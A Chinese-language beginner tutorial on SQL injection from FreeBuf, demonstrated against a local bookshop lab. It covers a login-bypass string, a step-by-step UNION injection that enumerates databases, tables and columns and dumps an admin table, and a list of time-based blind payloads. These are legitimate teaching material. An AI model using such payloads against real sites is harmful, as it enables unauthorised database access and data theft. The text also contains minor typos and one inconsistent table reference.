freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

初识SQL注入
2020-07-24 09:32:46

原理介绍

当Web应用向后台数据库传递SQL语句进行数据库操作时。如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库进行执行,获取或修改数据库中的数据。

SQL注入漏洞有两个关键条件:

  • 用户能控制输入的内容
  • web应用把用户输入的内容带入到数据库中执行

接下来将用自己本地搭建的环境来演示SQL注入。。。。

别想了,我怎么可能把真实网站的注入过程写在博客上,不想请喝茶

一、万能密码

打开网站的登陆界面,我们没有密码是无法登陆的但是由于网站开发者在开发网站时没有对登陆进行过滤,导致存在万能密码漏洞

输入万能密码 root ‘ or 1 = 1#

点击登陆,就会提示我们登陆成功!

看,我们已经登陆进来了!

原理

登陆语句是这样的:

SELECT * FROM admin WHERE Username=’root’ and Password =’pass’

查询admi表里所有Username =我们输入的Username 并且Password =我们输入的Password的结果

只要结果不为空就为真,也就是登陆成功

我们输入万能密码root ‘ or 1 = 1# 构造

SELECT * FROM admin WHERE Username=’root ‘ or 1 = 1#’and Password =’pass’

通过注释符号#注释掉and Password =’pass,在root’ or 1=1 的基础上使结果为真成立。

SQL注入

SQL注入分类

SQL注入,从代码角度来看:

分为数字型和字符型,又根据字符型和数字型可以外加()和字符型能使用双引号和单引号

分为以下几种:

1、selent * from users where id=1纯数字

2、selent * from users where id=’1’只加单引号

3、selent * from users where id=”1”只加双引号

4、selent * from users where (id=1)数字加括号

5、selent * from users where (id=’1’)数字加单引号

6、selent * from users where (id=”1”)数字加双引号

如果写的不够清晰,我们可以用一张图来解释

实例演示

打开搭建好的环境,点击打开一个页面来测试有没有SQL注入

http://127.0.0.1/bookshop/show_pro.php

?id=55’ 出现问题,可能存在注入

http://127.0.0.1/bookshop/show_pro.php

?id=55’ %23 加%23后恢复正常,可以判断为’1’注入

http://127.0.0.1/bookshop/show_pro.php

?id=55’ order by 1 %23 使用order by 1 2 3 4 进行测试,发现查询的结果为12列,再这里我只显示结尾截图,方便后续使用union select

http://127.0.0.1/bookshop/show_pro.php

?id=55’ union select 1,2,3,4,5,6,7,8,9,10,11,12 %23 发现页面不显示union select的内容,尝试使用limit或者是将前边的内容改为空

http://127.0.0.1/bookshop/show_pro.php

?id=55’ union select 1,2,3 limit 1,1 %23

http://127.0.0.1/bookshop/show_pro.php

?id=55’ union select 1,2,3 %23 可以显示union select后的内容,8是显示结果的地方

http://127.0.0.1/bookshop/show_pro.php

?id=-55’union select 1,2,3,4,5,6,7,user(),9,10,11,12 %23 把8位改为user()和database()发现可以显示用户和数据库

http://127.0.0.1/bookshop/show_pro.php

?id=-55’union select 1,2,3,4,5,6,7,(select group_concat(schema_name) from information_schema.SCHEMATA),9,10,11,12 %23

查询所有的库名字

http://127.0.0.1/bookshop/show_pro.php

?id=-55’union select 1,2,3,4,5,6,7,(select group_concat(table_name) from information_schema.TABLES where table_schema = ‘test’),9,10,11,12 %23

查询出test库中所有的表名

http://127.0.0.1/bookshop/show_pro.php

?id=-55’union select 1,2,3,4,5,6,7,(select group_concat(column_name) from information_schema.COLUMNS where table_schema = ‘test’ and table_name = ‘admin’),9,10,11,12 %23 查询处test库中admin表所有的字段名字

http://127.0.0.1/bookshop/show_pro.php

?id=-55’union select 1,2,3,4,5,6,7,(select group_concat(news) from test.admin ),9,10,11,12 %23

查询security库中users表中的数据,由于这个表中没有数据所以不会有显示,但在真实环境中是会看到内容的

延时盲注

延时盲注会有以下几种情况,暂不做演示

1’ and sleep(5) %23

1’) and sleep(5) %23

1’)) and sleep(5) %23

1 and sleep(5) %23

1) and sleep(5) %23

1)) and sleep(5) %23

1” and sleep(5) %23

1”) and sleep(5) %23

1”)) and sleep(5) %23

# SQL注入
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者